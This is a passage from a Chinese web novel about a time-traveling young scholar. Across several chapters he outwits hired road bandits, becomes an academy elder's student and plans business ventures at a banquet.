“没问题啊,我让小伟琢磨了不少新鲜文具,挺受欢迎的。你可以在我们文具店旁边,开个崇文阁,还可以搞些联营活动……”
第七十三章 路遇山匪
联营活动?
赵掌柜自诩见过大世面,但也从未听说,卖文具的还能跟卖书的搞什么联营。
“苏公子,你具体说说?”
“也就是些不成型的想法,比如说可以做个读书会,让咱们的老读者聚在一起,探讨下最近的阅读心得,中间加一些手工制作环节,文具店可以提供基础材料,读者制作好的文创产品,赠送,不仅仅是手工体验,也是生活仪式感的体现。想要在省城站稳脚跟,咱们只能跟他们拼创意。”
“嗯,有道理。卖书咱们的折扣是肯定拼不过大书局的。”
“还可以在经营方式上下功夫,比如说做个茶歇区,咱们的茶水免费提供,只要办一张年卡,便可以长期来喝茶看书,但不允许把书带走。有些人逛街累了,或者是等人什么的,完全可以来书店,无形之中,便能吸引不少潜在顾客。咱们的东西,要做出跟别人家不一样的感觉我相信,只要他们来了,就不会空手而归。”苏辛集对这点很有信心。
“我得好好想想。”
赵掌柜明显动了心思,苏辛集有想法,同窗圈子也多是些富贵子弟,这销路肯定不愁的。对于赵掌柜来说,跟苏辛集绑定,赚钱还是其次,主要还是他看中了苏辛集这个人,年纪轻轻就是府试案首,日后兴许还能连中三元……
赵掌柜又跟苏辛集结算了下分成,顺便订好了下半年的插画。苏辛集出了崇文阁已经快到晌午。回家吃了午饭,就出发了。
离开家后,马车很快走出山阴县,朝着府城走去。
为了快点到,车夫抄了近道,走的土路,马车有些颠簸。苏辛集坐不惯,骨头险些散架。他暗暗感叹,大昭朝的交通工具,实在是不敢恭维。就在他拿出话梅糖,想要转移下注意力的时候,马车突然来了个急刹。
“什么情况?”
苏辛集探出头,就看到前方站着八个壮汉,挡住了去路。为首的男人浑身腱子肉,手里拿着把**,面露凶光。
“想要过此路,留下买路财!”
车夫心中大惊,故作镇定地道:“诸位,车上的人可是有功名在身的,还望高抬贵手,行个方便。”
一般说,山贼海寇,遇到官家都会主动避让。
壮汉却丝毫不以为意:“功名?若是官家,为何没有随从,不走官道?”
车夫硬着头皮道:“我们家少爷是府试案首!”
“府试?合着是个童生,连个秀才都不算,还敢自称有功名在身?现在的功名都这么不值钱了?!”
“哈哈!”
其他几人一阵哄笑。
“少啰嗦,赶紧把身上的银两交出来,我们要钱不要命!”
其他几人围了上来,管家注意到对方手里的刀,有些为难地看向苏辛集:“三少爷,要不……”
管家身上带着五十两银子,是苏老爷子特意给苏辛集的伙食费和零花,管家是想拿出来保命的,可总要先问问苏辛集的意思。
见苏辛集没点头,管家一咬牙,拿出了自己的私房钱:“这里是三两碎银子,我们身上所有的现银了,之前参加科举,家里还欠了外债,各位大爷,行行好吧,我们这次就是返乡,车上还有些吃食儿,要是大爷们不嫌弃,我这就给你们拿。”
拦路的人当即挥刀,车辕瞬间成了两截子,碎屑飞起来,把苏家管家的脖子划出一道血口子。血顺着脖子打湿了前襟,车夫顿时吓得尿了裤子。
“三两银子?打发叫花子么!”领头的粗声粗气的吼着,身侧的一个大胡子道:“老大,要不咱们直接动手,给这小子点颜色瞧瞧?”
苏管家拿着帕子捂着脖子,一脸紧张地看向苏辛集:“三少爷!”
苏管家是真的急了,自己这把老骨头,折了也就折了,苏辛集可是苏家的希望,就算是侥幸保住小命,要是脸上留个疤,或者被削了指头,前途也就完了。
这些土匪什么干不出来
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这次三少爷回来还说起,在府城为了救人,被歹徒刺伤的事情。也算是因祸得福,跟张知府有了交集。老爷子嘴上连道万幸,同样的事情,怎么这么快又来了?
苏管家是想低头服软的,却被苏辛集拦住。
“苏伯,他们就是冲我来的。给钱也没用。”苏辛集根本就没打算善了,他兜里还有赵掌柜结算的银钱,就算是今日无法带走,也绝对不会便宜这帮人!
“三少爷!明者远见于未萌,智者避危于无形。老爷子就算是知道,也不会同意您以身犯险的。”
老爷子苏谅对这个三房独苗寄予厚望,不然苏管家也不会亲自送他来府城。第一次去白鹿洞书院,苏辛集也就带着个苏辛伟,这次他府试中了案首,只要正常发挥,通过院试不成问题,十八岁的秀才不少,但开蒙还不到一年,就连中两元的人全府城都找不到第二个。
老爷子苏谅在这个年纪都比不上他。大好的前程,绝对不能就此打住啊!
见苏辛集不肯答应,车夫也有些急眼了:“三少爷,留得青山在,不愁没柴烧啊!”
苏辛集暗暗叹息,给了银子,他们也不会放行的。
见这俩下人都对苏辛集有所不满,几个彪形大汉眼中满是戏谑。苏辛集看在眼里,更加确定这些人就是预谋已久!
若是普通山贼,早就没耐心废话,直接动手。这些人似乎并不着急,反而像是故意在这里等着路人瞧,好留下目击证人一般。这条路上,赶路之人不算少,刚刚就有两拨人路过。这样一来,若是真出了事,也会把恶名引到土匪头上,保护幕后主谋。
在这样的人面前,就算是给钱也没用的。
苏辛集眼眸闪过一道寒光:“你们在此挡路,怕不是只图银钱吧?”
“呵呵,算你识相,其他人就算了,你必须要留下一根手指。”
这是雇主的交代,苏辛集和苏家管家,必须见血!
第七十四章 重赏之下必有勇夫
刚才管家脖子划伤,接下来就轮到苏辛集了。几个壮汉暗暗觉得这单算是捡了大便宜,从苏辛集等人身上诈一笔,回头雇主那边还能领赏。
两头吃!
苏管家一听,心都凉了半截,普通人少一根手指,不影响生活,可苏辛集是要参加科考的,若是残疾,还怎么有机会入朝为官?
“三少爷,这可如何是好?”苏管家的声音透着几分绝望,对方人多势众,他们三人老的老,少的少,根本不可能打得过他们。
“我若是不留呢?”苏辛集云淡风轻的反问道,脸上毫无惧色。
“你大可以试试,看我兄弟们手上的刀答不答应!”领头的壮汉沉声道。
周围有牛车经过,看到两帮人对峙,不由得多看了几眼,土匪一口唾沫:“再看信不信把你们眼珠子抠出来?”
牛车上的人哪还敢多管闲事,跟前面几波人一样,巴不得插上翅膀马上离开是非之地。
苏辛集打眼一看,车上有五个人,后面不远处还有一行人挑着扁担,一看都是出来讨生活的苦命人。他直接冲着牛车大喊道:“悬赏百两,谁要是能帮我把这些土匪摘除保管,我这里的银子便是他的!”
牛车上的人纷纷回头,下一秒,牛车便停下了。几人正在估摸形势,土匪有八个,光他们几个怕是不行,若是再算上后面赶路的脚力,倒是有几分胜算。
就算是平分百两银子,人均到手也得有六七两银钱,他们出门一年到头,也赚不来这些啊!
有了这些银子,完全可以在家置办两亩水田……
苏辛集见牛车上的人停下,立马从兜里掏出银子,白花花的银锭子在阳光下格外显眼,苏辛集暗暗庆幸,幸亏没让赵掌柜拿银票,这会儿现银就是最好使的!
赶路的脚力加快了脚步,他们明显也听到苏辛集的话了。
一行人的出现,让土匪感受到压力,为首的土匪紧张地攥了攥手上的刚刀,“我看你们谁敢?”
银子虽好,但也要有命花才是!
重赏之下,必有勇夫,这些苦力们当然知道,对方手里有刀,可他们这边人多,两拨人有十几号,若是大家齐心,完全可以制服对方。
见众人犹豫,苏辛集又来了一剂猛药:“我乃是此次府试案首,在白鹿洞书院读书,家中在府城有些产业,若是这次过后,有人愿意跟着**,包吃包住!今日出手相助的兄弟们,无论老弱病残,我苏府统统都收!”
兜底政策,苏辛集很会,就算是你们受了伤也不用怕,日后跟**!
几人听说苏辛集是案首,又在白鹿洞书院读书,如此年纪轻轻,肯定是大户人家,说不定家中长辈就是官老爷,若是能攀附上,比干苦力不强多了?
众人心中一横:“干他们!”
苦力们死死盯着土匪,心中毫无挂碍,他们之所以背井离乡出来讨生活,也是因为村里常年收到土匪烧杀抢掠,若是能通过这次出头,得到在府城生活的机会,当然很好了。
土匪看向苏辛集,没想到他如此沉稳,知道借力。刚才他还是弱势群体,眨眼的功夫,就逆转了局面。
如今这些苦力,都被利诱而来,想要剁苏辛集的手指怕是要付出些代价了。早知道,就该直接动手。
领头的土匪有些懊恼,等下有机会,少说也要剁他一只手!
“上!”
牛车上有人吼了一句,苦力们跟着动了起来。
苏辛集注意到这人虎口处有些老茧,圆眼方脸,走路脚底身风,一看就是个练家子。
土匪看着凶残,真刀实枪的干起来,眼瞅着就落入下风。苦力们有的用扁担,有的用镰刀,大家齐心协力,很快制服了土匪,收缴了刀具,又用麻绳将人给捆了起来。
领头的土匪瞪着苏辛集:“你小子别得意,有你跪地求饶的时候!”
苏辛集掀了掀嘴角,袖子里的刀片落入两指之间,他抬手在土匪脸上划过,眨眼的功夫,
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领头的土匪脸上出现一道血痕。
苏辛集道:“说,谁让你来的!”
领头的土匪感受到脖颈间的寒意,连忙道:“别,别,我说!是高家少爷,他安排我们来的,他说……他说……”
“说什么?老实交代的人,我可以不做追究。”苏辛集早有料到,高建邺心存怨怼,只是没想到这家伙会这么蠢,安排一群酒囊饭袋。
“说你害了高府管家,要你知道厉害!”
“还说把你弄残,让你没办法继续科举。”
见老大都交代了,其他人争先恐后的说道。
领头的土匪愤怒的大吼:“都给我闭嘴!你们胡扯些什么!”
其他几个土匪听到,只想骂娘。你自己都立场不坚定,还有脸说别人?
刚才从牛车上下来的方脸男人,上去就是一拳,“这里有你说话的份儿?”
苏辛集不由得多看了一眼方脸男人,这人身上有些功夫,做事果断,敢打敢拼,倒是可以栽培一二。
“大昭朝明文规定,凡是抓获土匪山贼,赏银一两,如今万安府有明令,抓拿观音教贼人,赏银翻倍,说,观音教还给你们安排什么任务了?”
周围的苦力一听,心头火热,赏银翻倍,那就是十六两,在场的每人可以多分一两多呢。他们这些苦力出门在外,一年到头也攒不下二两银子,这一两多对他们来说很重要!
现在已经把土匪控制住了,那还不是说他们是什么人,就是什么人?
财帛最抚凡人心,苏辛集的话,给了众人提点,大家纷纷道:“我看他们说的高家,就是观音教的高层!”
“那肯定的,这些人都是有组织,有预谋的。现在连有功名在身的人都敢**,真是反了!”
“咱们抓了观音教的叛贼,送去万安府领赏去。”
你一言我一语,这帮土匪的身份就这么被限定下来。
领头的土匪彻底绝望了:“不是,我们跟观音教没关系!”
第七十五章 有感而发而已
知道落入官府手里,绝对没好日子过。尤其是这个节骨眼,朝廷有意整治观音教,他们要是真被抓了,说不定会被**。高家虽然有些能力,但也绝不会出头,蹚这浑水的。想到这里,领头的土匪噗一声跪在地上:“冤枉啊!求你饶了我们吧,我们再也不敢了!”
苏辛集摸了摸下巴:“官府赏银十二两,我们还能落个好名声,为民除害,饶了你们,可能么?”
“我,我有银子!”说着,领头的土匪看向同伴:“我这里有六两,你们有多少,都拿出来。”
几个土匪都知道,这是最后的机会,生怕动作慢了被送官,都把身上的银两掏了出来,几个人凑了半天,零零整整,勉强凑出十两银子。
苏管家被自家少爷这波操作,惊的目瞪口呆。
这才多大功夫,少爷就把局面控制住了,还逼得这帮土匪跪地求饶?
双手奉上银两?
方脸男看出苏辛集不满,主动开口:“你当我们傻么,送官府有十二两,还能赚个好名声,你们才拿出十两,等下把你们送官府,这十两银子照样是我们的!”
领头的土匪看了一眼方脸男,心中又气又恨,可这会儿也不是发作的时候,眼瞅着就要被押走,他连忙道:“等等,我有话要私下跟他说!”
“三少爷,不可!”苏管家出声阻拦,这帮土匪穷凶极恶,谁知道他们能做出什么事儿来。
“无妨。”
苏辛集一抬手,领头的土匪被放开,不过他的双手还被反捆着,方脸男跟着往前走了两步,暗中戒备。
“说吧。”
“我知道高家少爷的私宅,他偷偷养了个娘们,你若想报仇,我可以引路。”
苏辛集对这些不感兴趣,高文德丁忧三年,高家本身就是变数,高建邺不足为惧。
“我从不做内耗之事,你还是去衙门慢慢交代吧!”
“我还有一事!”领头的土匪瞥了一眼方脸男,压低声音,用只有苏辛集能听到的声音说了起来。
片刻后,苏辛集一脸凝重:“这倒有点意思。”
“那您看……”
“放了你可以,但总要给你们点教训,这样吧,你那几个手下,可以挑两个,剩下五个,我还是要送去衙门。”
领头的土匪听了,脸色有些难看。
苏辛集这么做,也是为了分化他们的力量,土匪头子无论把谁留下,经过这次的事情,他们都会心生防备,若是土匪头子说的是真的,那便多留他们几日,若是假的,到时候几个臭鱼烂虾,也好处理。
“行,听你的。”
苏辛集等人再度上路,这次的队伍倒是壮大了不少。苏管家跟苏辛集坐在马车里,心中颇为欣慰,这小子是个人物,往后定能在官场上混的风生水起。
“苏伯,这个给你用。”
苏辛集拿出个小瓷瓶,里面装着金疮药。
“三少爷,您刚才用什么把他的脸划破的?”
放松下来的苏管家好奇地问道。
“这个。”
苏辛集拿出刀片,外面是铁皮包裹的,很是精巧。这可是他上次受伤后,苏辛伟特意给他打造的**,以备不时之需,当然设计图纸都是苏辛集自己画的,除了刀片还有一身护甲,因为时间紧迫,还没做好。
“真是巧夺天工,刀子竟然可以如此别致。”
到了府城,苏辛集第一时间带着人来到衙门口,王知府知道来龙去脉,也乐的给苏辛集个面子,上次观音教刺杀的后续,也没个结果,现在既然有人落网,也算是给百姓一个交代,表明官府的决心。
苦力们分了赏银和苏辛集给的酬金,都特别认可苏辛集,有一多半都希望跟着苏辛集,这其中就有方脸男。剩下的人因为跟雇主有约,暂时不能离开,但有的也报名,说一个月内就来。
苏辛集把他们暂时安顿在木器店,衣食起居由苏辛伟安排,人员让方脸男穆升腾统一调度,回头再根据他们
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的特长,重新安排。
白鹿洞书院。
成绩出来,考生的文章也随之到了学院高层的手中,藏经阁的吴老看到苏辛集的文章,内心有些失落,苏辛集日日苦读,时常是最早来,最晚走的一个。吴老对苏辛集期许颇高,可他的文章老练中透着几分油滑,甚至在考卷中带着几分吹捧高官的意思,吴老是个老学究,对苏辛集折腰的做法,有些恨铁不成钢。
阿谀奉承的那套,也许在官场上能走得通,但在做学问上,是绝对不行的。
“以你的年纪,打好根基比匆匆进入官场更重要。你可知道,卷宗会被封存,好的文章会被各地收集成册,奉承主考官的行为会被士子所不耻,更会为主考官带来负面影响。”
苏辛集有些错愕,在他眼里,吴老是个不问世事的人,怎么也没想到他会如此介意自己拍主考官的马屁。
细细一想,苏辛集恍然,这里毕竟不是现代,大昭朝的人讲究风骨,科举中忌讳溜须拍马,若是**,也得不留痕迹,绝对不能明目张胆的直接说。
直白点说,自己在这方面的功力还不到家,引起了一些人的不适。
可这个节骨眼上,承认错误是万万不可的。不仅不能承认,还得理直气壮的辩驳。
“吴老,学生只是有感而发,朝廷体恤民情,轻徭薄赋,四海归心。王知府上任以来,全科农桑,野无旷土,兴修水利则岁有丰年,百姓安居乐业。身为万安府的子民,学生深有体会,若是因为考试,便不说实话,岂不是自欺欺人?”
吴国善闻言,沉默不语。
苏辛集说的不无道理,有感而发,求真务实,何错之有?
此子不是投机者,而是个观察入微的真性情啊!
若是国家多些此等人才,大昭朝中兴有望啊!
吴国善的心头一片火热,神色却没有多少变化,他接着道:“我听闻,放榜时有一女子与你有些纠葛,是怎么回事?”
第七十六章 高处不胜寒
莺歌?
真是好事不出门,坏事传千里。
苏辛集有些无语,藏书阁的吴老都听说了,估计这事儿在学院里都传开了。
说起来都是高家在作怪,苏辛集知道吴老不喜欢勾心斗角的琐事,便说道:“无非是些风尘女子有意攀附。如今学生一朝折桂,荣获案首,同辈艳羡之声不绝于耳。此次返乡之路遇到埋伏令人心惊,估摸类此之事不会是偶然,学生只觉高处不胜寒。来日院试、乡试,怕是会遇到更多意想不到的事情,学生不敢有半分懈怠。”
吴国善听闻,差点兴奋地跳起来。
通透!
苏辛集如此年纪,竟然能体会到高处不胜寒,案首之名实至名归。
“你路上遇到歹人?按理说咱们万安府治安一向不错,不应该啊!”吴国善有些意外,从山阴县到府城,这一路向来安全,虽是灾年,但在府城周围,可没那些饥荒事儿。
“这事儿说来话长,当时的匪首提到了高家公子,府试前夕,我跟他在集市上倒是有一面之缘。幸亏路上遇到好心壮士,学生侥幸脱险。回来后,学生便与热心壮士到了府衙,知府大人念我们辛劳,抓住了观音教歹人,给了十两赏银。学生不禁再次感叹在知府大人的治理下,万安府百业俱兴,百姓皆有见义勇为之精神,若不是靠众人齐心协力,观音教歹人断然不会轻易落网。”
苏辛集是懂人情世故的,我一个人说好,那也许是溜须拍马,但大家都有赤诚之心,那就是主政官员治理有方了。
吴国善微微有些诧异,万安府怎么如此多观音教歹人。上次苏辛集救了张伯勋的女儿,就是因为观音教作祟,这次衙门加大力度排查,按理说他们不该顶风作案啊。可不管怎么说,苏辛集能平安脱险,证明这孩子是有应变能力的。更难得的是他知道感恩,也不枉费自己对他的指点和栽培。
观音教如此猖獗,这天似乎是要变了。
天妒英才,若是苏辛集被这帮歹人所伤,是白鹿洞书院的损失,也是大昭朝的损失!
吴国善一时兴起,想要顺便考教下苏辛集:“你小子如此崇拜王俊,我倒是要考考你,你说他心系社稷,一心为民,为何只盯着水患,而不倾力剿灭观音教?”
苏辛集心中了然,这是想要考量他为官之道。
“学生以为,观音教之所以猖獗,是有背景的。近两年,大昭境内不少地方灾害频发,赋税不减反增,战争不断,流民增加,灾民们需要精神寄托,才给了邪教可乘之机。当然,我万安府境内算是安定,所以多数府城之人一直以为国泰民安。若是想要从根源上解决问题,堵不如疏!”
堵不如疏?!
吴国善眼前一亮,捋着胡须点头:“你且仔细说说。”
“世间万物,皆有其理。学生以为,只要让百姓能够安居乐业,他们自然不会参加邪教组织。控制住水患,才能让百姓免于洪涝灾害。从这个角度说,堵不如疏。再说治水本身,这道理也是相同的,四处修建堤坝,拦截洪水,是个路子,但若是洪水量大,来势凶猛,也是不管用的。若是能够根据地形,开凿河道,疏通淤泥,把洪流引入大海,才能从根源上解决问题。”
苏辛集沉声道,这个道理在后世看来,兴许不算什么,但在封建的大昭朝,如此论断,堪称惊世骇俗之言论。
吴国善曾经任太师十二载,对于治国之道是有极深的感悟,若不是因为佞臣当道,他不愿同流合污,白鹿洞书院也不会有如今的荣耀。
“顺应水流的自然规律,顺势而为,稍加引导水势走向,兴许真的能从根本上解决洪水泛滥的问题。可这疏导,往往比遏制更加艰难啊!”吴国善感叹道。
“吴老所言极是,少说也要数十载,才能开通新航道,引导洪水走向,若是把压力给到府城主政之官,
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即便是他有这份见识,怕也没这份担当和魄力。”苏辛集倒不是替王俊开脱,他深知治理水患,劳民伤财,三年五载都难看到实际效益,主政官员三年一换,能否留任是个未知数,下一任官员能否坚持这份理念,更是不可预测。
这样的事情,王俊即便是有心,也是无力的。苏辛集隐约听张伯勋提起过,吴老是当年的状元,曾经也是帝都朝堂的核心人物,这才会深入交谈,希望有机会为万安府的百姓做点事儿。若是能从根源上解决水患,也不会遇上如此灾年。
苏辛集这颗为民之心和超乎常人的见识,令吴国善心潮澎湃,若是当年他的那个学生,有苏辛集这般造福百姓之心,大昭朝也不会……
吴国善端起已经有些凉的茶汤,喝了一口,平复下心情,这才缓缓道:“水患乃是沉疴旧疾,数十年的治理周期,想要解决,并非一朝之功。”
治水之事,即便是做成,对于主政之人的考核是有利,但最多也就是平调,想要升迁,还是需要一些契机,比如说剿灭观音教,这就是个人利益和百姓福祉之间的权衡,具体王俊如何选,至少苏辛集这个层面的人是没资格指手画脚的。
苏辛集深知,这是曾经的帝师对自己的试探。
有治国理政之才,本就是遭人忌惮之事,更何况如今自己锋芒过露,又娶了谢家闺女,若是被严阁老那种佞臣知晓,对自己百害无一利。如今自己还是太弱小了……
想到这里,苏辛集微微一笑:“学生也就是过过嘴瘾,朝堂之事,对学生来说还是太遥远。吴老,这是学生让人做的新式文具,您且试用几日,帮我做个测评。若是哪里需要改进,下次您可以告诉我。”
苏辛集知道吴老是个喜欢读书之人,便让苏辛伟做了几样文具,随身携带,送给书院的同窗和夫子。不少人因此知道了苏辛集家的文具店与别家的完全不同。
第七十七章 可愿拜我为师?
只见苏辛集从怀中掏出一个竹筒,竹筒外是一根绳子绑着一个小册子,竹筒里面则是一根极细的毫笔,里面做了个墨囊,随蘸随写,出门容易携带,也不用提前磨墨。苏辛集也曾送给吴老一些炭笔,吴国善用惯毛笔,不喜炭笔之锋。苏辛集便又设计出一款,容易携带的笔和本子,创意来源于现代的口袋本,苏辛集就是特意为这些用不惯炭笔,又喜欢随时写写画画的人订制的。
“有意思,这倒是方便随时书写了。有时候啊,我真是想打开你的脑子,看看里面到底是装的什么!”吴国善宠溺的看向苏辛集,全然不记得几个时辰前,他对苏辛集还颇多怨言。
“您喜欢便好!”苏辛集起身,准备离开。
吴国善稍微犹豫了下,最终还是问道:“辛集,你可愿拜我为师?”
听到这话,苏辛集受宠若惊。张伯勋不止一次感叹吴老的才学过人,若不是他坐镇白鹿洞书院这些年,书院也不会如此鼎盛,若是能得到吴老的认可,那就相当于一只脚踏入朝堂。
苏辛集当时有些不理解,一个看管藏经阁的老人,能有多大的能量?
“学生愿意!”短暂的失神过后,苏辛集深深作揖:“学生只是担心,您会不会太操劳了。”
“呵呵,你若是真关心老夫,那就多给我带点新鲜玩意来。”
“是,学生定会努力的。”
俩人关系更进一步,吴国善对苏辛集的态度也缓和了不少,叮嘱他了不少事情,其中就有一条,不要过早参加乡试。
苏辛集受教,冲着吴国善深鞠一躬。
“多谢恩师栽培。”
吴国善轻抚胡须,对苏辛集的态度甚是满意。想到其小小年纪,就有一颗赤诚之心,面对观音教孽徒毫无胆怯之色,对上高家强权,又展现出文人的脊梁,在考场上毅然说出内心所想,如此天资,倒是配让他破例收徒。
目送苏辛集离开,吴国善早就忘了刚才心底那抹不适。这会儿,高家家主大发雷霆:“说让你自作主张的?知不知道事情牵扯上观音教,一旦被抓就是百口莫辩!”
整个高家被一片乌云笼罩,箱门走路都小心翼翼,生怕惹得高老爷生气。
高建邺不去学院,也不怎么吃喝,他是真的既羞愧,又气愤。谁能想到,那么多人,竟然没收拾苏辛集,没收拾也就罢了,竟然还被苏辛集算计了?
回到学舍,苏辛集心情大好,鲁秉策凑过来道:“师父,你何日有空,我爹想摆宴席感谢你,若不是你带着我读书,我这次也不可能通过府试。”
“三十一名,比我想象的略微差了点。”苏辛集对这个成绩,有些不满。
“这,我感觉已经挺好的了。”鲁秉策挠了挠头,“李景阳是三十四名,比我还低些呢。这几天他似乎是请假了,我去他学舍也没找到人。”鲁秉策回来后,第一件事就是想要找李景阳,让他兑现赌约,可一直没见到人,也只能暂时揭过。
“也许人家是去找内舍师兄学习呢。”苏辛集笑着道:“说起来,你既然过了府试,就该好好着手准备,一口气通过院试。”
“难道都不能休息几日么?”鲁秉策无语的看着苏辛集。
“我回山阴县的时间,你不一直在休息么?”
鲁秉策还想掰扯,可一对上苏辛集的眼神,便泄了气:“算了,说正事,明日到我家吃饭如何?”
苏辛集正好想要请鲁峥帮忙,看看有什么合适的营生,先把穆升腾等人的安排了。
“好,那就明日吧。”
这边,张伯勋听说苏辛集返乡途中,遇到匪徒,惊地放下茶碗:“赶紧召集人手,这帮人简直是无法无天!”
苏辛集是闺女的救命恩人,这次又拿到府试案首,日后前途不可限量。他遇到山匪,正好借机调动兵力……
衙役连忙道:“禀告大人,不用咱们去,这一路上,苏公子自己召集了不少脚力,把事儿都平了
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。匪徒现在已经在万安府的大牢受刑呢。”
张伯勋一怔,还以为自己产生幻听了:“你是说他自己把事情解决了?”
“对,万安府府衙还给了十两赏银,绝对不会有错的。”
张伯勋为官多年,土匪伤人截货的事情听说了不少,那些人都是亡命徒,**伤人后直接钻入山林,等官府的人去,早就消失得无影无踪了。
这次听说土匪反被擒拿,还不是一般的山匪,是观音教的人,这可是一大功劳啊。
这个苏辛集确实是个人才,县试、府试连中两元,接下来的院试就是水到渠成的事情。张伯勋知道,以苏辛集的天赋和勤奋,拿个秀才的功名,不成问题。可他没想到,苏辛集竟还有如此随机应变的能力!
这可不是一般人家能培养出来的,若是他还未婚,唉,张伯勋摇了摇头,自嘲自己怎么动了这样的心思,肯定是被女儿给洗脑了。
天下好男儿这么多,我张伯勋的女儿怎么能去给人做小?
这两日,穆升腾也没闲着,他把众人的情况都了解了,牛车上的人和愿意一起干的脚力,一共有八人,其中两人懂点木匠手艺,愿意留在木器店做文具生意,剩下六人各有所长。
当时的土匪头子和他两个手下,一直被这六人三班倒,轮流看管。
对于苏辛集,这八个人都满怀期待。
从来都是他们给衙门交钱,如今他们轻而易举的从衙门拿到了赏银,知府大人还亲自接见,这是何等荣幸?
苏辛集年纪轻轻,就已经是府试案首,又是白鹿洞书院的学生,跟着这样的主子,发展的机会多得很呢!
而且苏辛集从头到尾,都对他们以礼相待,一口一个壮士,没有丝毫瞧不起的意思。跟平日里那些富家子弟,可完全不是一个风格,若是这样的人入朝为官,肯定是为民做主的好官。
苏辛集此刻还不清楚,路上偶遇的壮士,已经对他死心塌地。
第七十八章 宴请
府衙这边,可谓是出兵神速。
盘佘山上的观音教教徒,已经被连根拔起了。经过调查,这是观音教一个重要据点。大约二百多人,别看人数不算多,但若是藏在深山之中,围剿绝非容易之事。
正是因为地势复杂,才给了他们底气。观音教的人愈发猖獗,就是仗着可以随时躲进老林中。
王俊和张伯勋谋划了许久,费了极大的心力这才剿匪成功。
为了举办宴会,鲁家上下一大早就准备好宴会食材,客人也都是精心筛选过的。
鲁峥见到苏辛集,兴奋异常,笑着道:“苏公子,恭喜恭喜。中了府试案首,便是双案首了,明年院试下场,这小三元定然是你囊中之物啊。”
苏辛集微微一笑:“借您吉言。”
“呵呵,这次策儿能取得三十一名的好成绩,也是苏公子的功劳。我这里准备了些薄礼,还望苏公子不要嫌弃。”
说着,鲁峥一拍手,下人端上来一个托盘,里面是摆放整齐的银锭子。
“小小心意,不成敬意。”鲁峥是个大财主,想当然的以为这就是最好的礼物。
苏辛集摆了摆手:“鲁伯伯,我跟秉策是投缘,这些就大可不必了。”
见苏辛集不要,鲁峥有些急了:“苏公子,这……”
“鲁伯伯,您先听我说。我这次来,除了共同庆祝,还有事相求。”鲁峥听闻面色一缓:“你说,只要我能做到,绝不推辞。”
“是这样的,我听说秉策说,鲁家有几家经营粉霜的铺子?”
“对。”鲁峥羞愧的点了点头:“实不相瞒,那几家铺子都成了我的心病了。原本我们的美白霜销量一直不错,我还想着要不要扩充店面,也就是去年吧,有人在府城开了一家焕颜堂,这可不得了,我家铺子的销量下降了六七成,剩下的客户,也是我在用降价的手段才维系住的。若不是因为铺户挂号甚是难得,我早就关了这几家铺子了。”
“鲁伯伯,我有办法,我有朋友,懂得粉霜,等有空的时候里把市面上流行的粉霜给我弄些来,咱们可以优化下产品,好的产品是关键,打价格战终究不是长久之计。”苏辛集道。
“真的?若是你有办法,我手中三家铺子,可以给你两家,因铺户挂号,不可轻易变动,我必须保留一家……”鲁峥生怕苏辛集有想法,连忙解释。苏辛集摆了摆手:“鲁伯伯误会了,铺子还是你的。是这样,前两日我**,多亏了路上碰见几个热心肠,这些人多数都是苦力,我想给他们银钱,也未必能改变他们的命运,不如给他们一份保障,也能有个稳定收入。”
关于匪徒刺杀的事情,鲁秉策早就跟鲁峥说了,他一听苏辛集想要报答救命恩人,连忙道:“我明白,若是想要安排,我家里还有其他产业,等明日我列一份详细的清单,可以让壮士们详细挑选。”
“嗯,下来咱们再细谈。”苏辛集见有人过来敬酒,便就此打住了话题。
这顿饭下来,苏辛集又有了不少新想法。他以前觉得只要闷头读书,在科举方面取得成绩,就万事大吉了。可自打来了府城,被高建邺几次暗算,苏辛集就发现事情远没有那么简单。
想要在府城立足,最起码得手里有人、有钱,最晚院试过后,就得开始积攒声望。后面的乡试需要跟全省的士子竞争,那就意味着在文采方面,也得镇得住其他人。若是一个籍籍无名之辈,就算是文章不错,也断然不会令人信服。
这就需要多参加诗会、词会,多在这样的场合露脸,把名声打出去再说。苏辛集不禁感叹,这可比后世的高考还要复杂的多。至少,普通人家的孩子还有机会参加高考,可在大昭朝,别说是诗词会,就算是书本、纸张的费用,都不是农户人家能负担的起的。更不要提参加文人聚会所需银两了。
光是头一遍,就筛选掉了不少人。苏辛集也更能深刻的体会到,鲁峥为什么非要送儿子去学院读书,
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哪怕是知道他不是读书的料。
李景阳的出现,倒是让人有些意外。
“小师父,没想到他还真来了。”鲁秉策冲着苏辛集说完,便朝着李景阳走去。
李景阳死死盯着鲁秉策,抿着嘴唇,不说话。
鲁秉策得意的笑道:“景阳兄,如何?我小师父苏辛集可是府试案首,随随便便教我一下,就比你强呢!”
就说,气人不?
李景阳虽说有些傲气,可为人还算光明磊落:“放心!我明日就围着外舍跑三圈,同时喊李景阳就是块烂泥,有内舍师兄指点,也糊不上墙!”
鲁秉策一怔:“你真愿意?”
“愿赌服输,你请我来吃席,不就是为了这个么?”李景阳气呼呼的反问道。成绩一直是李景阳引以为豪的资本,在乙班他的成绩一直是****,可谁能想到,苏辛集来了,占了第一名的位置也就罢了,混日子的鲁秉策跟着苏辛集学习,府试成绩竟然也在自己之上?
李景阳请假在家的这几日,最开始就是因为想不通。后来随着时间推移,他才放平心态,对苏辛集又有了新的认识。
能在短时间内,一举成为乙班第一,进入内舍也是有可能的。就连藏书阁的吴老都夸赞苏辛集,说他不光有天赋还极其刻苦。
更令人难以置信的是,在苏辛集的指点下,鲁策都能成为乙班第二,府试三十一名,还在自己之上……
这个消息,令学院外舍都沸腾了,苏辛集名声大噪。不少人都私下跑去找苏辛集请教,李景阳内心很挣扎,尤其是收到鲁秉策的请帖后,他很清楚这是一个台阶,苏辛集一定会去鲁家,若是能缓和关系,兴许日后也能得到苏辛集的指点。
李景阳的转变,苏辛集和鲁秉策都心知肚明。
自打跟着苏辛集一起读书,鲁秉策的心态悄然变化。以前他就是想混日子,最好能考个秀才然后回家躺平,如今只差一步之遥,他才知道,秀才只是个起点!
第七十九章 你觉的他是简单的童生么?
想要保护家人,有一些话语权,终究还是要进入官场的。
跟着苏辛集一路向上,相互扶持,这才是眼下最好的路,可惜自己以前浪费的时间太多,超过李景阳,怕就是极限了。
“苏公子,听闻你返回府城的途中,抓住观音教的几个歹徒,还说动衙门出兵盘佘山,实在是厉害啊!”
“非也,王大人心系百姓,是有仁慈之心的好官,才会有老天眷顾,做成此事。我也不过是恰好遇上了,跟口才无关。”
苏辛集面色严肃的解释道,这是王大人的功劳,也是运气好。鲁峥听到这话,对苏辛集的认识又深了一层,年纪轻轻便如此原话,是个成大事的人啊。
鲁秉策能遇到这样人同窗,也是福气!
宴席渐入尾声。
